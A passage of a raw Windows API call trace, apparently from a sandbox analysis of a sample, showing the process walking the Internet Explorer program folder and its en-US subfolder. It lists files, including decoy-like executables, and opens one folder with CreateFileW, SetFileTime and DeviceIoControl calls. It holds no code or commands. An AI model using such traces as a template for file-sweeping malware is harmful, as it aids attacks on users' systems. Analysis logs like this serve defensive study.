BaseAddress=0x94f698) returned 1 [0070.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0070.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0070.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0070.418] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0070.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc55b00, ftCreationTime.dwHighDateTime=0x1d56776, ftLastAccessTime.dwLowDateTime=0x4df13640, ftLastAccessTime.dwHighDateTime=0x1d59f88, ftLastWriteTime.dwLowDateTime=0x4df13640, ftLastWriteTime.dwHighDateTime=0x1d59f88, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="centralcreditcard.exe", cAlternateFileName="")) returned 1 [0070.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0070.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7eeaa50, ftCreationTime.dwHighDateTime=0x1d5a2eb, ftLastAccessTime.dwLowDateTime=0x4d285f50, ftLastAccessTime.dwHighDateTime=0x1d59c17, ftLastWriteTime.dwLowDateTime=0x4d285f50, ftLastWriteTime.dwHighDateTime=0x1d59c17, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0070.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.418] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0070.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0070.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f468 [0070.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0070.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0070.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0070.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0070.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0070.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0070.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0070.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0070.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0070.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0070.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0070.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0070.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0070.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0070.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0070.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0070.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0070.420] GetLastError () returned 0x12 [0070.420] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0070.421] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0070.421] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.421] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc55b00, ftCreationTime.dwHighDateTime=0x1d56776, ftLastAccessTime.dwLowDateTime=0x4df13640, ftLastAccessTime.dwHighDateTime=0x1d59f88, ftLastWriteTime.dwLowDateTime=0x4df13640, ftLastWriteTime.dwHighDateTime=0x1d59f88, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="centralcreditcard.exe", cAlternateFileName="")) returned 1 [0070.421] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0070.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.421] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US" (normalized: "c:\\program files\\internet explorer\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0070.421] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US" (normalized: "c:\\program files\\internet explorer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0070.421] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0070.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa26488 [0070.421] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa26488, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xa26488, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0070.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa26488) returned 1 [0070.421] NtClose (Handle=0x164) returned 0x0 [0070.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0070.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0070.421] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0070.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0070.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0070.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0070.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0070.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0070.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0070.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f488 [0070.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0070.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0070.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0070.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0070.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0070.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0070.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0070.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0070.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0070.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, 